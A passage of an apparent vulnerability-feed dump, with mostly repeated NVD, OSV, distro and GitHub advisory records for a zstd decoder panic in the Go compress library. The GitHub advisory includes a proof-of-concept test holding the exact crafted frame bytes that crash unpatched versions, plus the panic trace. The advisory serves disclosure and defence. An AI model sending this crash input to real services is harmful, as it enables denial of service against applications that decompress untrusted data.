users.","status":"published","published":"2026-10-27T15:38:14Z","modified":"2026-10-27T15:38:16Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-190"],"updated_at":"2026-11-02T14:41:37.912288Z"}],"nvd":[{"id":"CVE-2026-116591","description":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.","status":"published","published":"2026-10-26T22:16:55.783Z","modified":"2026-10-27T16:03:45.247Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-190"],"updated_at":"2026-11-02T14:13:03.746397Z"}],"osv":[{"id":"ALPINE-CVE-2026-116591","description":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.","status":"published","published":"2026-10-26T22:16:55.783Z","modified":"2026-11-05T20:30:02.749096821Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-05T20:59:43.697957Z"},{"id":"CVE-2026-116591","title":"compress zstd: Panic on two-block frames","description":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.","status":"published","published":"2026-10-26T21:54:33.109Z","modified":"2026-11-12T12:27:18.073915973Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-190"],"updated_at":"2026-11-07T17:50:06.557028Z"},{"id":"DEBIAN-CVE-2026-116591","description":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.","status":"published","published":"2026-10-26T22:16:55.783Z","modified":"2026-11-01T22:00:10.755636658Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:45:50.923612Z"},{"id":"GHSA-fpmh-frq8-7rj8","title":"compress zstd: Panic on two-block frames","description":"### Summary\n\nA crafted ~27 KB two-block zstd frame makes DecodeAll and the streaming decoder panic with an out-of-range slice index instead of returning a decode error. The same bytes decode fine with the reference zstd. Any program that decompresses untrusted zstd input can be crashed by it. Reproduced on v1.20.0 and v1.20.1.\n\nReleased in https://github.com/klauspost/compress/releases/tag/v1.20.2\n\n### Details\n\n The panic is in the FSE decoder that `huff0.ReadTable` uses to read a block's Huffman-weight table. Three conditions have to hold at once, and the crafted frame arranges all three.\n\n  **1. A count that doesn't fit is accepted.** `readNCount` permits a tableLog up to 15 ([`tablelogAbsoluteMax`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L9), checked at [`fse/decompress.go:54`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L54)), so a symbol's normalized count can reach 32768 (2^15). The count is stored in an `int16` at [`fse/decompress.go:126`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L126), where 32768 wraps to −32768. The validation only looks at the `int32` running totals (`remaining` and `gotTotal`), which still match, so the bad value passes. The crafted second block produces `norm = [0, -32768]`, `symbolLen = 2`.\n\n  **2. The decode table is built empty, with no error.** In `buildDtable`, −32768 isn't the −1 that flags a low-probability symbol, so it skips that branch, and the spread loop [`for i := 0; i \u003c int(v); i++`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L221) runs zero times for a negative `v`. `position` never advances, so the [`position != 0`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L230) guard passes as well.\n\n  **3. Stale state from the previous block is reused.** `huff0` shares one `fse.Scratch` across both blocks, and [`allocDtable`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L173-L189) reuses `decTable` and `ct.stateTable` without clearing them. So the table is rebuilt on top of block 1's symbols and `symbolNext` values. Many cells end up with `nbBits == 0`, because the leftover `nextState` is ≥ 32768.\n\n  At decode time, every symbol's count is below `largeLimit`, so `zeroBits` stays false and `decompress` takes the [`nextFast`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L371) path. On a cell with `nbBits == 0`, [`getBitsFast(0)`](https://github.com/klauspost/compress/blob/v1.20.0/fse/bitreader.go#L58-L63) shifts by `(64-0)\u002663 == 0` and returns the low 16 bits of the whole register instead of 0. The state runs past the end of the table, and [`d.dt[d.state]`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L372) panics:\n\n  ```\n  panic: runtime error: index out of range [33077] with length 32768\n  ```\n\n  Both blocks are needed. With a fresh `Scratch`, every cell would be symbol 0 with `symbolNext 0`, `highBits(0)` would underflow, `newState` would reach 32768, and the [`newState \u003e= tableSize`](https://github.com/klauspost/compress/blob/v1.20.0/fse/decompress.go#L246) guard would return an error. Block 1's leftover state is what carries the malformed table past that guard.\n\n  The underlying bug is the `int16` storage combined with a tableLog allowed to reach 15. The C reference uses `short` too, but caps the FSE tableLog at 12 and the Huffman-weight tableLog at 6, so the count never wraps. `huff0.ReadTable` doesn't enforce that 6-bit bound.\n\n  A fix: reject a count of `1\u003c\u003c15` (or `nbBits \u003e 14`) in `readNCount`, and enforce the weight-table tableLog in `huff0`. Clearing the reused table would also turn the panic into an error.\n\n\n### Proof of concept\n\nRun the following repro:\n\n```\npackage compression\n\nimport (\n\t\"bytes\"\n\t\"slices\"\n\t\"testing\"\n\n\t\"github.com/klauspost/compress/zstd\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestDecodeAll(t *testing.T) {\n\t// zstdFSEPanic is a crafted two-block zstd frame that makes\n\t// github.com/klauspost/compress (v1.20.0 and v1.20.1) panic with an\n\t// out-of-range index in fse.nextFast rather than returning an error. Cross-block\n\t// FSE table-state carryover lets the second block's malformed Huffman-weight\n\t// table pass the decoder's guard and overflow the decode table.\n\tzstdFSEPanic := slices.Concat(\n\t\t[]byte{0x28, 0xb5, 0x2f, 0xfd, 0x00, 0x38, 0x74, 0x06, 0x00, 0x42, 0xb8, 0x32, 0x0d, 0x1a, 0x00, 0x00, 0x00, 0x90, 0xaf, 0xfa, 0xff, 0x03, 0x00, 0x80, 0xff, 0x7f},\n\t\tbytes.Repeat([]byte{0xa5, 0x94, 0x52, 0x4a, 0x29}, 37),\n\t\t[]byte{0xa5, 0x94, 0x12, 0x00, 0xad, 0x56, 0x03, 0xee, 0xff, 0xdf, 0xb3, 0x1a, 0x1c, 0x1a, 0x00, 0xe0, 0xff, 0x1f, 0x0f, 0xb1, 0x9c, 0x5a, 0xcf, 0x4d, 0xe4, 0x1d, 0x7b, 0xab, 0x99, 0x5e, 0x01, 0x51, 0xa4, 0x73, 0xd8, 0xb1, 0xf3, 0x39, 0x4b, 0x67, 0xf6, 0xab, 0x1a, 0xab, 0x1a, 0xab, 0x1a},\n\t\tbytes.Repeat([]byte{0x8c, 0x31, 0xc6, 0x18, 0x63}, 1365),\n\t\t[]byte{0x8c, 0x31},\n\t\tbytes.Repeat([]byte{0x63, 0x8c, 0x31, 0xc6, 0x18}, 1365),\n\t\t[]byte{0x63, 0x2c},\n\t\tbytes.Repeat([]byte{0x31, 0xc6, 0x18, 0x63, 0x8c}, 1365),\n\t\t[]byte{0x31, 0x46},\n\t\tbytes.Repeat([]byte{0x31, 0xc6, 0x18, 0x63, 0x8c}, 1365),\n\t\t[]byte{0x31, 0x06, 0x00},\n\t)\n\n\tdecoder, err := zstd.NewReader(nil)\n\trequire.NoError(t, err)\n\n\tdst := make([]byte, 100*1024)\n\t_, err = decoder.DecodeAll(zstdFSEPanic, dst)\n\trequire.NoError(t, err)\n}\n```\n\nOutputs:\n```\npanic: runtime error: index out of range [33077] with length 32768 [recovered, repanicked]\n\ngoroutine 36 [running]:\ntesting.tRunner.func1.2({0x100c2b7c0, 0x2472599b62a0})\n\t/Users/joshua.kim/golang/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.8.darwin-arm64/src/testing/testing.go:1974 +0x1a0\ntesting.tRunner.func1()\n\t/Users/joshua.kim/golang/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.8.darwin-arm64/src/testing/testing.go:1977 +0x318\npanic({0x100c2b7c0?, 0x2472599b62a0?})\n\t/Users/joshua.kim/golang/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.8.darwin-arm64/src/runtime/panic.go:860 +0x12c\ngithub.com/klauspost/compress/fse.(*decoder).nextFast(...)\n\t/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/fse/decompress.go:372\ngithub.com/klauspost/compress/fse.(*Scratch).decompress(0x247259981008)\n\t/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/fse/decompress.go:280 +0xa08\ngithub.com/klauspost/compress/fse.Decompress({0x247259ab60e0?, 0x0?, 0x0?}, 0x1007c839c?)\n\t/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/fse/decompress.go:33 +0x64\ngithub.com/klauspost/compress/huff0.ReadTable({0x247259ab60df, 0x6acf, 0x6f21}, 0x1007899f8?)\n\t/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/huff0/decompress.go:61 +0x130\ngithub.com/klauspost/compress/zstd.(*blockDec).decodeLiterals(0x247259aa42d0, {0x247259ab60da?, 0x19384?, 0x20000?}, 0x247259a9a958)\n\t/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/zstd/blockdec.go:446 +0x550\ngithub.com/klauspost/compress/zstd.(*blockDec).decodeCompressed(0x247259aa42d0, 0x247259a9a958)\n\t/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/zstd/blockdec.go:480 +0x34\ngithub.com/klauspost/compress/zstd.(*blockDec).decodeBuf(0x247259aa42d0, 0x247259a9a958)\n\t/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/zstd/blockdec.go:256 +0x20c\ngithub.com/klauspost/compress/zstd.(*frameDec).runDecoder(0x247259a9a908, {0x247259ac6000?, 0x19000, 0x129ca3800?}, 0x247259aa42d0)\n\t/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/zstd/framedec.go:371 +0x170\ngithub.com/klauspost/compress/zstd.(*Decoder).DecodeAll(0x247259aa41e0, {0x247259ab6000, 0x6baf, 0x7000}, {0x247259ac6000, 0x19000, 0x19000})\n\t/Users/joshua.kim/golang/pkg/mod/github.com/klauspost/compress@v1.20.0/zstd/decoder.go:395 +0x410\ngithub.com/ava-labs/avalanchego/utils/compression.TestDecodeAll(0x247259a9a6c8)\n\t/Users/joshua.kim/workspace/avalanchego/utils/compression/zstd_fse_panic_test.go:40 +0x498\ntesting.tRunner(0x247259a9a6c8, 0x100c4ae80)\n\t/Users/joshua.kim/golang/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.8.darwin-arm64/src/testing/testing.go:2036 +0xc4\ncreated by testing.(*T).Run in goroutine 1\n\t/Users/joshua.kim/golang/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.8.darwin-arm64/src/testing/testing.go:2101 +0x3a8\n```\n\n### Impact\n\nThis is a panic that callers cannot guard against with error handling. This should be a DOS for most users.","status":"published","published":"2026-10-27T15:38:14Z","modified":"2026-11-05T23:25:57.136948782Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-190"],"updated_at":"2026-11-06T00:02:13.631839Z"},{"id":"UBUNTU-CVE-2026-116591","description":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.","status":"published","published":"2026-10-26T22:16:00Z","modified":"2026-10-28T20:17:45.945574201Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T16:56:00.081948Z"},{"id":"AZL-111664","title":"CVE-2026-116591 affecting package azl-otel-collector 0.127.0-1","description":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.","status":"published","published":"2026-10-26T22:16:55Z","modified":"2026-11-05T05:36:30Z","updated_at":"2026-11-05T16:41:18.705965Z"},{"id":"AZL-111676","title":"CVE-2026-116591 affecting package buildah 1.43.1-3","description":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.","status":"published","published":"2026-10-26T22:16:55Z","modified":"2026-11-05T05:36:30Z","updated_at":"2026-11-05T16:41:18.705965Z"},{"id":"AZL-111700","title":"CVE-2026-116591 affecting package cri-o 1.30.1-1","description":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.","status":"published","published":"2026-10-26T22:16:55Z","modified":"2026-11-05T05:36:30Z","updated_at":"2026-11-05T16:41:18.705965Z"},{"id":"AZL-111709","title":"CVE-2026-116591 affecting package kata-containers-preview 3.27.0~preview2-2","description":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.","status":"published","published":"2026-10-26T22:16:55Z","modified":"2026-11-05T05:36:30Z","updated_at":"2026-11-05T16:41:18.705965Z"},{"id":"AZL-111718","title":"CVE-2026-116591 affecting package podman 5.6.1-10","description":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.","status":"published","published":"2026-10-26T22:16:55Z","modified":"2026-11-05T05:36:30Z","updated_at":"2026-11-05T16:41:18.705965Z"},{"id":"AZL-111754","title":"CVE-2026-116591 affecting package umoci 0.4.7-13","description":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.","status":"published","published":"2026-10-26T22:16:55Z","modified":"2026-11-05T05:36:30Z","updated_at":"2026-11-05T16:41:18.705965Z"},{"id":"AZL-111817","title":"CVE-2026-116591 affecting package azurelinux-image-tools 1.7.0-2","description":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.","status":"published","published":"2026-10-26T22:16:55Z","modified":"2026-11-05T05:40:51Z","updated_at":"2026-11-05T16:41:18.705965Z"},{"id":"AZL-111827","title":"CVE-2026-116591 affecting package cert-manager 1.12.15-15","description":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.","status":"published","published":"2026-10-26T22:16:55Z","modified":"2026-11-05T05:40:51Z","updated_at":"2026-11-05T16:41:18.705965Z"},{"id":"AZL-111866","title":"CVE-2026-116591 affecting package containerd2 2.3.7-1","description":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.","status":"published","published":"2026-10-26T22:16:55Z","modified":"2026-11-05T05:40:51Z","updated_at":"2026-11-05T16:41:18.705965Z"},{"id":"AZL-111881","title":"CVE-2026-116591 affecting package containerized-data-importer 1.62.0-9","description":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.","status":"published","published":"2026-10-26T22:16:55Z","modified":"2026-11-05T05:40:51Z","updated_at":"2026-11-05T16:41:18.705965Z"},{"id":"AZL-111890","title":"CVE-2026-116591 affecting package coredns 1.11.4-23","description":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.","status":"published","published":"2026-10-26T22:16:55Z","modified":"2026-11-05T14:16:26.637185651Z","updated_at":"2026-11-05T16:41:18.705965Z"},{"id":"AZL-111917","title":"CVE-2026-116591 affecting package docker-buildx 0.14.0-19","description":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.","status":"published","published":"2026-10-26T22:16:55Z","modified":"2026-11-05T05:40:51Z","updated_at":"2026-11-05T16:41:18.705965Z"},{"id":"AZL-111926","title":"CVE-2026-116591 affecting package docker-cli 25.0.7-6","description":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.","status":"published","published":"2026-10-26T22:16:55Z","modified":"2026-11-05T05:40:51Z","updated_at":"2026-11-05T16:41:18.705965Z"},{"id":"AZL-111941","title":"CVE-2026-116591 affecting package docker-compose 2.27.0-16","description":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.","status":"published","published":"2026-10-26T22:16:55Z","modified":"2026-11-05T05:40:51Z","updated_at":"2026-11-05T16:41:18.705965Z"},{"id":"AZL-111953","title":"CVE-2026-116591 affecting package gh 2.102.0-2","description":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.","status":"published","published":"2026-10-26T22:16:55Z","modified":"2026-11-05T05:40:51Z","updated_at":"2026-11-05T16:41:18.705965Z"},{"id":"AZL-111983","title":"CVE-2026-116591 affecting package influxdb 2.7.5-23","description":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.","status":"published","published":"2026-10-26T22:16:55Z","modified":"2026-11-05T14:17:00.68452549Z","updated_at":"2026-11-05T16:41:18.705965Z"},{"id":"AZL-111992","title":"CVE-2026-116591 affecting package kata-containers 4.1.0.kata1-2","description":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.","status":"published","published":"2026-10-26T22:16:55Z","modified":"2026-11-05T05:40:51Z","updated_at":"2026-11-05T16:41:18.705965Z"},{"id":"AZL-111995","title":"CVE-2026-116591 affecting package kata-containers-cc 3.15.0.aks0-23","description":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.","status":"published","published":"2026-10-26T22:16:55Z","modified":"2026-11-05T05:40:51Z","updated_at":"2026-11-05T16:41:18.705965Z"},{"id":"AZL-112010","title":"CVE-2026-116591 affecting package keda 2.14.1-19","description":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.","status":"published","published":"2026-10-26T22:16:55Z","modified":"2026-10-31T14:17:31.692234622Z","updated_at":"2026-11-02T15:28:02.666535Z"},{"id":"AZL-112025","title":"CVE-2026-116591 affecting package kubernetes 1.30.10-32","description":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.","status":"published","published":"2026-10-26T22:16:55Z","modified":"2026-11-05T05:40:51Z","updated_at":"2026-11-05T16:41:19.001909Z"},{"id":"AZL-112052","title":"CVE-2026-116591 affecting package libcontainers-common 20240213-3","description":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.","status":"published","published":"2026-10-26T22:16:55Z","modified":"2026-11-03T05:33:06Z","updated_at":"2026-11-05T16:41:19.001909Z"},{"id":"AZL-112067","title":"CVE-2026-116591 affecting package kubevirt-openvmm 1.9.0-1","description":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in int16 as -32768. The wrapped count allows buildDtable to retain stale fse.Scratch decode-table state from the prior block, and nextFast then derives an out-of-range state and indexes beyond the table instead of returning a decode error. Both blocks are required to preserve and then reuse the stale state, allowing untrusted zstd input to crash an application. This issue is fixed in version 1.20.2.","status":"published","published":"2026-10-26T22:16:55Z","modified":"2026-11-03T05:33:06Z","updated_at":"2026-11-05T16:41:19.001909Z"},{"id":"AZL-112073","title":"CVE-2026-116591 affecting package moby-containerd-cc 1.7.7-19","description":"compress provides various compression algorithms. Prior to 1.20.2, the zstd DecodeAll and streaming decoder paths can panic when a crafted two-block frame reaches huff0.ReadTable with an FSE normalized count of 32768 that readNCount stores in 